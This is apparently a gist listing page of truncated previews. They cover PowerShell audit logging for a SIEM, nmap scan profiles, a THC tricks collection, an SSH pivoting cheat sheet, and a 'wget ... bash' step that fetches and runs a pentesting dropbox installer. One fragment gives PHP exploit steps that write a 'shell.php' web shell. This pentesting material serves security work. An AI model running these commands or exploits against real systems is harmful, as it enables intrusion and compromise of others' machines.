| # PowerShell Audit Logging for LogRhythm SIEM - 2015 | |
| # For detecting dangerous PowerShell Commands/Functions | |
| Log Source Type: | |
| MS Event Log for Win7/Win8/2008/2012 - PowerShell | |
| Add this file to your PowerShell directory to enable verbose command line audit logging | |
| profile.ps1 | |
| $LogCommandHealthEvent = $true | |
| $LogCommandLifeCycleEvent = $true |
| # PowerShell Audit Logging for LogRhythm SIEM - 2015 | |
| # For detecting dangerous PowerShell Commands/Functions | |
| Log Source Type: | |
| MS Event Log for Win7/Win8/2008/2012 - PowerShell | |
| Add this file to your PowerShell directory to enable verbose command line audit logging | |
| profile.ps1 | |
| $LogCommandHealthEvent = $true | |
| $LogCommandLifeCycleEvent = $true |
A collection of our favourite tricks. Many of those tricks are not from us. We merely collect them.
We show the tricks 'as is' without any explanation why they work. You need to know Linux to understand how and why they work.
Got tricks? Send them to root@thc.org or submit a pull request.
| #!/bin/bash | |
| # remastersys script to make an installable livecd/dvd from a Debian installed | |
| # and customized system | |
| # | |
| # | |
| # Created by Tony "Fragadelic" Brijeski | |
| # | |
| # Copyright 2007-2012 Under the GNU GPL2 License | |
| # |
| Available profiles | |
| Fast scan | |
| -F -T4 --max-retries 1 | |
| Web scan | |
| -p- -sV --version-all --script "http-* and not(dos or brute)" | |
| Full Service Scan | |
| -sV --version-all -p- -sT | |
| SMB Scan |
| wget https://raw.githubusercontent.com/jdksec/RpiPentestingDropbox/master/InstallPiDropbox.sh | |
| bash ./InstallPiDropbox.sh |
| #!/bin/bash | |
| # | |
| # WARNING WARNING WARNING WARNING WARNING | |
| # | |
| # Run only under X11 sessions | |
| # | |
| # WARNING WARNING WARNING WARNING WARNING | |
| . helper.sh |
| Exploit Steps | |
| First, in the "app" directory run `php -a` | |
| Then run the following commands: | |
| ``` | |
| include 'logger-class.php'; | |
| $logger = new Logger(); | |
| $logger->filename = "./shell.php"; |
Welcome to the XWin X Server Vendor: Moba/X Release: 1.20.4.0 OS: Windows 10 [Windows NT 10.0 build 18363] (WoW64) Package: version built 2019-03-16
XWin was started with the following command line:
| SSH Cheat Sheet | |
| SSH has several features that are useful during pentesting and auditing. This page aims to remind us of the syntax for the most useful features. | |
| NB: This page does not attempt to replace the man page for pentesters, only to supplement it with some pertinent examples. | |
| SOCKS Proxy | |
| Set up a SOCKS proxy on 127.0.0.1:1080 that lets you pivot through the remote host (10.0.0.1): |